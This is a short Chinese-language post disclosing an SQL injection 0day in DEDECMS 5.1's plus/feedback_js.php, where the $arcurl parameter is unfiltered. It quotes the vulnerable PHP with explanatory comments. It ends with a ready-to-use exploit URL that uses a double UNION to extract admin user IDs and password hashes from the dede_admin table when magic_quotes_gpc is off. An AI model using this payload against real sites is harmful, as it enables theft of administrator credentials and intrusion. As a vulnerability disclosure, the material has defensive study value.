DEDECMS 5.1 feedback_js.php 0DAY
這個漏洞是我和Rainy'Fox一起發(fā)現(xiàn)的
同樣是在magic_quotes_gpc=off的情況下可用
漏洞版本:DEDECMS 5.1
此漏洞可拿到后臺管理員的帳號和加密HASH,漏洞存在文件plus/feedback_js.php,未過濾參數(shù)為$arcurl
...... $urlindex = 0; if(empty($arcID)) { $row = $dlist->dsql->GetOne("Select id From `#@__cache_feedbackurl` where url='$arcurl' "); //此處$arcurl沒有過濾 if(is_array($row)) $urlindex = $row['id']; //存在結(jié)果則把$urlindex賦值為查詢到的$row['id'],我們可以構(gòu)造SQL語句帶入下面的操作中了 } if(empty($arcID) && empty($urlindex)) exit(); //如果$arcID為空或$urlindex為空則退出 ...... if(empty($arcID)) $wq = " urlindex = '$urlindex' "; //我們讓$arcID為空,剛才上面執(zhí)行的結(jié)果就會被賦值給$wq帶入下面的操作中執(zhí)行了. else $wq = " aid='$arcID' "; $querystring = "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc"; $dlist->Init(); $dlist->SetSource($querystring); ...... |
看一下利用方法吧,嘿,為了閉合我用了兩次union
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
【編輯推薦】